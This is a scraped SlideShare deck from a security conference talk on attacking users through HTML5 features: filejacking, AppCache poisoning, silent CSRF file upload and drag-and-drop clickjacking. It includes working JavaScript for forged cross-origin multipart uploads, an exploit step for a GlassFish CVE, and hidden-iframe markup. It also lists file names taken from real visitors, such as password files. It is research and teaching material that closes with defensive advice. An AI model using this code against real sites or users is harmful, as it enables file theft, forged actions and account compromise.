SlideShare a Scribd company logo
H TML5




         Krzysztof Kotowicz, SecuRing
         kkotowicz@securing.pl
         @kkotowicz
Meet Bob




           2
Meet Bob


 #1 Bob is a CSO of largebiz.com
 #1b Bob has interesting stuff
 #2 I don’t like Bob
 #3 I want to pwn Bob



                                   3
Bob’s pwnage stage #1
• Bob has a hobby - e.g. hacking
• He has cool file://s
• I want to get them!
• He’s not THAT stupid to run EXE, SCR
   etc.


• Use filejacking!

                                         4
Filejacking
• HTML5 directory upload (Chrome only)
  <input type=file directory>

• displays this    ====>
• JS gets read access to
    all files within
    chosen folder



                                         5
Filejacking
  Business plan
• set up tempting webpage
• overlay input (CSS) with

• wait for Bob
• get files & upload them to your server

                                          6
Filejacking




              7
Filejacking




              8
Filejacking
• I’ve tried this IRL
• How clueless users actually are?
  • http://kotowicz.net/wu running for ~13 mo
  • very limited exposure
  • only websec oriented visitors


• 298 clients connected (217 IPs)
• tons of interesting files
                                                9
Filejacking
  LOTS of these ------>
• Downloads/#
    BeNaughtyLive.com/
• Downloads/#
    GoLiveTrannies.com/
• BratSluts 11 12 04 Sasha
    Cane Red Tartan
    SchoolGirl XXX 720p
    WMV SEXORS.nzb
• bitches/1300563524557.jpg
• Flowchart-Fap-To-It.jpg

                              10
Filejacking
• websec staff!




• but surely no private data?

                                11
Filejacking
•   Wireless Assess points.txt
•   interesting network next to me.txt
•   onlinePasswords.txt
•   s/pw.txt
•   letter of authorization.pdf
•   Staff-<name,surname>.pdf
•   <name,surname> - resume.doc
•   Pricing-Recommendation_CR.xlsm.zip

• but surely no clients data?
                                         12
Filejacking
• sony reports/                • Faktura_numer_26_2011_
    0045_sonymusic.##.zip           <company>.pdf
• SecurityQA.SQL.Injection.    • websec cred~
    Results.v1.1.docx          • security_users.sql.zip
• SSOCrawlTest5.4.097.xml      • !important - questions for
• IPS CDE Wireless Audit-           web developers.docx
     January 2011-1 0.docx     • sslstrip.log~
• IPS Wireless Testing         • ##### Paros Log.txt
     Schedule April 2011.xls
• 01-####### Corporation
    (Security Unarmed             So much for NDAs...
    Guard).xls

                                                              13
Filejacking

+ All your file are belong to me
+ Trivial to set up
+ Filter files by e.g. extension, size etc.
-   Chrome only
-   Requires users prone to social-
     engineering


                                             14
Bob’s pwnage stage #2
• Bob travels a lot & loves Facebook
• I want to control Bob’s FB account
  • even when he changes the password in a month
• I want to fingerprint Bob’s intranet


• Use rogue access point &
   AppCache poisoning!

                                                   15
AppCache poisoning
 HTML5 Offline Web
  Applications
 <html manifest=cache.manifest>

• cache.manifest lists URLs to cache
• cache expires only when CACHE MANIFEST
                              index.html
   manifest is changed     stylesheet.css
                           images/logo.png
                           scripts/main.js


                                             16
AppCache poisoning




    Poison     Wait     Profit
   AppCache   for Bob




                                17
AppCache poisoning
• DEMO
• Quirks used:
  • manifest must be MIME text/cache-manifest
  • Chrome fills AppCache without user
     confirmation




                                                18
AppCache poisoning
• tamper http://victim/
   <html manifest=/robots.txt>
   <script>evil()</script>
• tamper http://victim/robots.txt
      CACHE MANIFEST
      CACHE:
      http://victim/
      NETWORK:
      *                             19
AppCache poisoning
  Later on, after m-i-t-m:
1. http://victim/ fetched from AppCache
2. browser checks for new manifest
     GET /robots.txt
3. receives text/plain robots.txt & ignores it
4. tainted AppCache is still used


                                                 20
AppCache poisoning

+ Poison any URL
+ Payload stays until manually removed
-   Chrome or Firefox with user
     interaction
-   Needs active man-in-the-middle to
     inject
     https://github.com/koto/sslstrip

                                         21
Bob’s pwnage stage #3
• Bob loves sharing photos (Flickr?)
• I want to replace Bob as CSO
• What if Bob uploaded some discrediting
   files?


• Try silent file upload


                                           22
Silent file upload
• File upload purely in Javascript
• Emulates <input type=file> with:
  • any file name
  • any file content
• File constructed in Javascript
    (it’s not a real file!)
• Uses Cross Origin Resource Sharing

                                       23
Silent file upload
• Cross Origin Resource Sharing
   = cross domain AJAX
http://attacker.com/

var xhr = new XMLHttpRequest();
    
xhr.open("POST", "http://victim", true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.withCredentials = "true"; // send cookies
xhr.send("Anything I want");


                                                 24
Silent file upload
• raw multipart/form-data request
function fileUpload(url, fileData, fileName) {
   var boundary = "xxxxxxxxx",
       xhr = new XMLHttpRequest();
    
   xhr.open("POST", url, true);
   xhr.withCredentials = "true";
   xhr.setRequestHeader("Content-Type",
      "multipart/form-data,
boundary="+boundary);


                                                 25
Silent file upload

var b = "
--" + boundary + 'rn
Content-Disposition: form-data;
 name="contents"; filename="' + fileName + '"rn
Content-Type: application/octet-streamrn
rn
' + fileData + 'rn
--' + boundary + '--';

xhr.setRequestHeader("Content-Length", b.length);
xhr.send(b);



                                                     26
Silent file upload

+ No user interaction
+ Works in most browsers
+ You can add more form fields
-   CSRF flaw needed
-   No access to response



                                27
Silent file upload




                DEMO
              Flickr.com




                           28
Silent file upload
• GlassFish Enterprise Server 3.1.
  • CVE 2012-0550 by Roberto Suggi Liverani
• //goo.gl/cOu1F
  logUrl = 'http://glassfishserver/
    management/domain/applications/
    application';
  fileUpload(c,"maliciousarchive.war");

• logged admin + CSRF = RCE
                                              29
Same origin policy
• makes web (relatively) safe
  • restricts cross-origin communication
• can be relaxed though
  • crossdomain.xml
  • document.domain
  • HTML5 Cross Origin Resource Sharing
• or ignored...
  • UI redressing

                                           30
UI Redressing?




      Jedi mind tricks on victim users
                                         31
UI Redressing
 • This is not the page you’re looking at
 • This is not the thing you’re clicking
 • .................................................. dragging
 • .................................................. typing
 • .................................................. copying


 • Victims attack the applications for us


                                                                 32
Clickjacking?




                33
Bob’s pwnage stage #4
• Bob likes online games
• I found a vulnerable website used by Bob
• Bob would have to type the payload
   himself :-(


• Make Bob play a game!


                                             34
Drag into
• Put attackers content into victim form




  Demo
                                           35
Drag into

+ Inject arbitrary content
+ Trigger self-XSS
-   Firefox only (will die soon!)
-   X-Frame-Options




                                    36
Bob’s pwnage stage #5
• Bob has access to internal HR
   application
• I want to know his salary



• Make Bob play a game
   (again)!

                                  37
Drag out content extraction



    image


                    image




                              38
Drag out content extraction



    image
        victim
      <iframe>
                    image




                              39
Drag out content extraction



    image
        victim
      <iframe>
                   textarea
                     <textarea>




                                  40
Drag out content extraction

<div id=game style="position:relative">
    <img style="position:absolute;..."
          src="paper.png" />
    <img style="position:absolute;..."
          src="trash.png" />    
    <iframe scrolling=no id=iframe
     style="position:absolute;opacity:0;...">
     </iframe>
   <textarea style="position:absolute;
       opacity:0;..." id=dropper></textarea>
</div>

                                                41
Drag out content extraction




                              42
Drag out content extraction




                              43
Drag out content extraction




            Demo       .




                              44
Drag out content extraction

+ Access sensitive content cross domain
-   Firefox only (will die soon!)
-   X-Frame-Options




                                          45
Summary
• HTML5 is attacker’s friend too!
• Don’t get framed
• Users based pwnage FTW

  Developers:
  Use X-Frame-Options:
   DENY
                                    46
Wake up, I’m done!
• html5sec.org
• code.google.com/p/html5security
• www.contextis.co.uk/research/white-papers/clickjacking

• blog.kotowicz.net
• github.com/koto

   Twitter: @kkotowicz
   kkotowicz@securing.pl


   Thanks @0x6D6172696F, @garethheyes, @theKos, @7a_,
      @lavakumark, @malerisch, @skeptic_fx, ....


                                                           47

More Related Content

PDF
Html5: something wicked this way comes - HackPra
PDF
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
PDF
Advanced Chrome extension exploitation
PDF
Something wicked this way comes - CONFidence
PDF
When you don't have 0days: client-side exploitation for the masses
PDF
Buried by time, dust and BeEF
PDF
Krzysztof Kotowicz - Hacking HTML5
PDF
Top Ten Web Hacking Techniques (2010)
Html5: something wicked this way comes - HackPra
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
Advanced Chrome extension exploitation
Something wicked this way comes - CONFidence
When you don't have 0days: client-side exploitation for the masses
Buried by time, dust and BeEF
Krzysztof Kotowicz - Hacking HTML5
Top Ten Web Hacking Techniques (2010)

What's hot (20)

PDF
Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
PDF
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection
PDF
Practical Phishing Automation with PhishLulz - KiwiCon X
PDF
Advances in BeEF - AthCon2012
PPT
Browser Security
PDF
Dark Fairytales from a Phisherman (Vol. II)
PDF
Html5: something wicked this way comes
PDF
Be ef presentation-securitybyte2011-michele_orru
PPTX
MITM Attacks on HTTPS: Another Perspective
PDF
The Hidden XSS - Attacking the Desktop & Mobile Platforms
PDF
VSA: The Virtual Scripted Attacker, Brucon 2012
PDF
Neat tricks to bypass CSRF-protection
PDF
Hacktivity2011 be ef-preso_micheleorru
PDF
WebView security on iOS (EN)
PPTX
Web Application Security in front end
PDF
Hacking sites for fun and profit
PDF
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
PDF
Modern Web Application Defense
PDF
Hacking sites for fun and profit
PDF
I got 99 trends and a # is all of them
Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection
Practical Phishing Automation with PhishLulz - KiwiCon X
Advances in BeEF - AthCon2012
Browser Security
Dark Fairytales from a Phisherman (Vol. II)
Html5: something wicked this way comes
Be ef presentation-securitybyte2011-michele_orru
MITM Attacks on HTTPS: Another Perspective
The Hidden XSS - Attacking the Desktop & Mobile Platforms
VSA: The Virtual Scripted Attacker, Brucon 2012
Neat tricks to bypass CSRF-protection
Hacktivity2011 be ef-preso_micheleorru
WebView security on iOS (EN)
Web Application Security in front end
Hacking sites for fun and profit
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
Modern Web Application Defense
Hacking sites for fun and profit
I got 99 trends and a # is all of them

Viewers also liked (20)

PDF
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
PDF
Work for Pentasia
PPTX
Pengelolaan usaha ku
PDF
日本医療企画ヘルスケア・レストラン201508
KEY
Mapnik and Node.js
DOC
Trabajo final economia
PDF
Dubal-Case-Study-ME
PDF
부평오피&청주오피#사이트【http://dasom10.net】인천오피
DOC
Qualified Lead Definition Tool
PPTX
Mary fonseca El deslinde de propiedad contiguas
PPTX
Accidente coche moto
PDF
Winter Fire Safety - Safety Tips For Your Home
PDF
Routes tips
PPTX
More Sales Group Sales Training Presentation
PDF
John Quinton-Barber, Social Communications
PDF
Proactive performance management_what_is_all_about_v0.3
DOCX
ammoniautility operator
DOCX
Economía Mundial de China
DOCX
Medicamentos antidiabéticos para adultos con diabetes tipo 2. Revisión de efe...
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Work for Pentasia
Pengelolaan usaha ku
日本医療企画ヘルスケア・レストラン201508
Mapnik and Node.js
Trabajo final economia
Dubal-Case-Study-ME
부평오피&청주오피#사이트【http://dasom10.net】인천오피
Qualified Lead Definition Tool
Mary fonseca El deslinde de propiedad contiguas
Accidente coche moto
Winter Fire Safety - Safety Tips For Your Home
Routes tips
More Sales Group Sales Training Presentation
John Quinton-Barber, Social Communications
Proactive performance management_what_is_all_about_v0.3
ammoniautility operator
Economía Mundial de China
Medicamentos antidiabéticos para adultos con diabetes tipo 2. Revisión de efe...

Similar to Html5: Something wicked this way comes (Hack in Paris) (20)

PDF
Krzysztof kotowicz. something wicked this way comes
PDF
Antisnatchor all you ever wanted to know about beef
PDF
ZeroNights2012_BeEF_Workshop_antisnatchor
PDF
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
PPTX
External JavaScript Widget Development Best Practices (updated) (v.1.1)
PPTX
External JavaScript Widget Development Best Practices
PDF
Hacktivityonly 121013141039-phpapp02
PDF
[ENG] Zombie browsers spiced with rootkit extensions - Hacktivity 2012
PPTX
Java scriptwidgetdevelopmentjstanbul2012
PPTX
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
PDF
Google Hacking 101
PDF
Zombie browsers spiced with rootkit extensions - DefCamp 2012
PPTX
How to discover 1352 Wordpress plugin 0days in one hour (not really)
PDF
The Web Application Hackers Toolchain
PPTX
Security research over Windows #defcon china
PDF
Brute Force - Lior Rotkovitch - f5 SIRT v5.pdf
KEY
Scraping Scripting Hacking
PPT
Expert guide for PHP
PPTX
Crossing Origins by Crossing Formats
PDF
Owning the bad guys
Krzysztof kotowicz. something wicked this way comes
Antisnatchor all you ever wanted to know about beef
ZeroNights2012_BeEF_Workshop_antisnatchor
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices
Hacktivityonly 121013141039-phpapp02
[ENG] Zombie browsers spiced with rootkit extensions - Hacktivity 2012
Java scriptwidgetdevelopmentjstanbul2012
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
Google Hacking 101
Zombie browsers spiced with rootkit extensions - DefCamp 2012
How to discover 1352 Wordpress plugin 0days in one hour (not really)
The Web Application Hackers Toolchain
Security research over Windows #defcon china
Brute Force - Lior Rotkovitch - f5 SIRT v5.pdf
Scraping Scripting Hacking
Expert guide for PHP
Crossing Origins by Crossing Formats
Owning the bad guys

More from Krzysztof Kotowicz (11)

PDF
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
PDF
Trusted Types @ W3C TPAC 2018
PDF
Trusted Types and the end of DOM XSS
PDF
Hacking HTML5 offensive course (Zeronights edition)
PDF
HTML5: Atak i obrona
PDF
I'm in your browser, pwning your stuff
PDF
Creating, obfuscating and analyzing malware JavaScript
PDF
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
PDF
Jak ocalić swoje dane przed SQL injection?
PDF
SQL Injection: complete walkthrough (not only) for PHP developers
PPT
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types @ W3C TPAC 2018
Trusted Types and the end of DOM XSS
Hacking HTML5 offensive course (Zeronights edition)
HTML5: Atak i obrona
I'm in your browser, pwning your stuff
Creating, obfuscating and analyzing malware JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Jak ocalić swoje dane przed SQL injection?
SQL Injection: complete walkthrough (not only) for PHP developers
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)

Recently uploaded (20)

PDF
Network Security Unit 5.pdf for BCA BBA.
PPTX
A Presentation on Artificial Intelligence
PDF
Modernizing your data center with Dell and AMD
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
NewMind AI Monthly Chronicles - July 2025
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
CIFDAQ's Market Insight: SEC Turns Pro Crypto
PDF
Unlocking AI with Model Context Protocol (MCP)
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
PDF
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
PDF
Approach and Philosophy of On baking technology
PDF
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
PDF
Machine learning based COVID-19 study performance prediction
PDF
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
PPTX
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
Network Security Unit 5.pdf for BCA BBA.
A Presentation on Artificial Intelligence
Modernizing your data center with Dell and AMD
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
NewMind AI Monthly Chronicles - July 2025
Building Integrated photovoltaic BIPV_UPV.pdf
CIFDAQ's Market Insight: SEC Turns Pro Crypto
Unlocking AI with Model Context Protocol (MCP)
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
Approach and Philosophy of On baking technology
Architecting across the Boundaries of two Complex Domains - Healthcare & Tech...
Machine learning based COVID-19 study performance prediction
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
Diabetes mellitus diagnosis method based random forest with bat algorithm
20250228 LYD VKU AI Blended-Learning.pptx
Chapter 3 Spatial Domain Image Processing.pdf
Reach Out and Touch Someone: Haptics and Empathic Computing
Mobile App Security Testing_ A Comprehensive Guide.pdf

Html5: Something wicked this way comes (Hack in Paris)

  • 1. H TML5 Krzysztof Kotowicz, SecuRing kkotowicz@securing.pl @kkotowicz
  • 3. Meet Bob #1 Bob is a CSO of largebiz.com #1b Bob has interesting stuff #2 I don’t like Bob #3 I want to pwn Bob 3
  • 4. Bob’s pwnage stage #1 • Bob has a hobby - e.g. hacking • He has cool file://s • I want to get them! • He’s not THAT stupid to run EXE, SCR etc. • Use filejacking! 4
  • 5. Filejacking • HTML5 directory upload (Chrome only) <input type=file directory> • displays this ====> • JS gets read access to all files within chosen folder 5
  • 6. Filejacking Business plan • set up tempting webpage • overlay input (CSS) with • wait for Bob • get files & upload them to your server 6
  • 9. Filejacking • I’ve tried this IRL • How clueless users actually are? • http://kotowicz.net/wu running for ~13 mo • very limited exposure • only websec oriented visitors • 298 clients connected (217 IPs) • tons of interesting files 9
  • 10. Filejacking LOTS of these ------> • Downloads/# BeNaughtyLive.com/ • Downloads/# GoLiveTrannies.com/ • BratSluts 11 12 04 Sasha Cane Red Tartan SchoolGirl XXX 720p WMV SEXORS.nzb • bitches/1300563524557.jpg • Flowchart-Fap-To-It.jpg 10
  • 11. Filejacking • websec staff! • but surely no private data? 11
  • 12. Filejacking • Wireless Assess points.txt • interesting network next to me.txt • onlinePasswords.txt • s/pw.txt • letter of authorization.pdf • Staff-<name,surname>.pdf • <name,surname> - resume.doc • Pricing-Recommendation_CR.xlsm.zip • but surely no clients data? 12
  • 13. Filejacking • sony reports/ • Faktura_numer_26_2011_ 0045_sonymusic.##.zip <company>.pdf • SecurityQA.SQL.Injection. • websec cred~ Results.v1.1.docx • security_users.sql.zip • SSOCrawlTest5.4.097.xml • !important - questions for • IPS CDE Wireless Audit- web developers.docx January 2011-1 0.docx • sslstrip.log~ • IPS Wireless Testing • ##### Paros Log.txt Schedule April 2011.xls • 01-####### Corporation (Security Unarmed So much for NDAs... Guard).xls 13
  • 14. Filejacking + All your file are belong to me + Trivial to set up + Filter files by e.g. extension, size etc. - Chrome only - Requires users prone to social- engineering 14
  • 15. Bob’s pwnage stage #2 • Bob travels a lot & loves Facebook • I want to control Bob’s FB account • even when he changes the password in a month • I want to fingerprint Bob’s intranet • Use rogue access point & AppCache poisoning! 15
  • 16. AppCache poisoning HTML5 Offline Web Applications <html manifest=cache.manifest> • cache.manifest lists URLs to cache • cache expires only when CACHE MANIFEST index.html manifest is changed stylesheet.css images/logo.png scripts/main.js 16
  • 17. AppCache poisoning Poison Wait Profit AppCache for Bob 17
  • 18. AppCache poisoning • DEMO • Quirks used: • manifest must be MIME text/cache-manifest • Chrome fills AppCache without user confirmation 18
  • 19. AppCache poisoning • tamper http://victim/ <html manifest=/robots.txt> <script>evil()</script> • tamper http://victim/robots.txt CACHE MANIFEST CACHE: http://victim/ NETWORK: * 19
  • 20. AppCache poisoning Later on, after m-i-t-m: 1. http://victim/ fetched from AppCache 2. browser checks for new manifest GET /robots.txt 3. receives text/plain robots.txt & ignores it 4. tainted AppCache is still used 20
  • 21. AppCache poisoning + Poison any URL + Payload stays until manually removed - Chrome or Firefox with user interaction - Needs active man-in-the-middle to inject https://github.com/koto/sslstrip 21
  • 22. Bob’s pwnage stage #3 • Bob loves sharing photos (Flickr?) • I want to replace Bob as CSO • What if Bob uploaded some discrediting files? • Try silent file upload 22
  • 23. Silent file upload • File upload purely in Javascript • Emulates <input type=file> with: • any file name • any file content • File constructed in Javascript (it’s not a real file!) • Uses Cross Origin Resource Sharing 23
  • 24. Silent file upload • Cross Origin Resource Sharing = cross domain AJAX http://attacker.com/ var xhr = new XMLHttpRequest();      xhr.open("POST", "http://victim", true); xhr.setRequestHeader("Content-Type", "text/plain"); xhr.withCredentials = "true"; // send cookies xhr.send("Anything I want"); 24
  • 25. Silent file upload • raw multipart/form-data request function fileUpload(url, fileData, fileName) {    var boundary = "xxxxxxxxx",      xhr = new XMLHttpRequest();         xhr.open("POST", url, true);    xhr.withCredentials = "true";    xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); 25
  • 26. Silent file upload var b = " --" + boundary + 'rn Content-Disposition: form-data; name="contents"; filename="' + fileName + '"rn Content-Type: application/octet-streamrn rn ' + fileData + 'rn --' + boundary + '--'; xhr.setRequestHeader("Content-Length", b.length); xhr.send(b); 26
  • 27. Silent file upload + No user interaction + Works in most browsers + You can add more form fields - CSRF flaw needed - No access to response 27
  • 28. Silent file upload DEMO Flickr.com 28
  • 29. Silent file upload • GlassFish Enterprise Server 3.1. • CVE 2012-0550 by Roberto Suggi Liverani • //goo.gl/cOu1F logUrl = 'http://glassfishserver/ management/domain/applications/ application'; fileUpload(c,"maliciousarchive.war"); • logged admin + CSRF = RCE 29
  • 30. Same origin policy • makes web (relatively) safe • restricts cross-origin communication • can be relaxed though • crossdomain.xml • document.domain • HTML5 Cross Origin Resource Sharing • or ignored... • UI redressing 30
  • 31. UI Redressing? Jedi mind tricks on victim users 31
  • 32. UI Redressing • This is not the page you’re looking at • This is not the thing you’re clicking • .................................................. dragging • .................................................. typing • .................................................. copying • Victims attack the applications for us 32
  • 34. Bob’s pwnage stage #4 • Bob likes online games • I found a vulnerable website used by Bob • Bob would have to type the payload himself :-( • Make Bob play a game! 34
  • 35. Drag into • Put attackers content into victim form Demo 35
  • 36. Drag into + Inject arbitrary content + Trigger self-XSS - Firefox only (will die soon!) - X-Frame-Options 36
  • 37. Bob’s pwnage stage #5 • Bob has access to internal HR application • I want to know his salary • Make Bob play a game (again)! 37
  • 38. Drag out content extraction image image 38
  • 39. Drag out content extraction image victim <iframe> image 39
  • 40. Drag out content extraction image victim <iframe> textarea <textarea> 40
  • 41. Drag out content extraction <div id=game style="position:relative">   <img style="position:absolute;..." src="paper.png" />   <img style="position:absolute;..." src="trash.png" />       <iframe scrolling=no id=iframe style="position:absolute;opacity:0;..."> </iframe>    <textarea style="position:absolute; opacity:0;..." id=dropper></textarea> </div> 41
  • 42. Drag out content extraction 42
  • 43. Drag out content extraction 43
  • 44. Drag out content extraction Demo . 44
  • 45. Drag out content extraction + Access sensitive content cross domain - Firefox only (will die soon!) - X-Frame-Options 45
  • 46. Summary • HTML5 is attacker’s friend too! • Don’t get framed • Users based pwnage FTW Developers: Use X-Frame-Options: DENY 46
  • 47. Wake up, I’m done! • html5sec.org • code.google.com/p/html5security • www.contextis.co.uk/research/white-papers/clickjacking • blog.kotowicz.net • github.com/koto Twitter: @kkotowicz kkotowicz@securing.pl Thanks @0x6D6172696F, @garethheyes, @theKos, @7a_, @lavakumark, @malerisch, @skeptic_fx, .... 47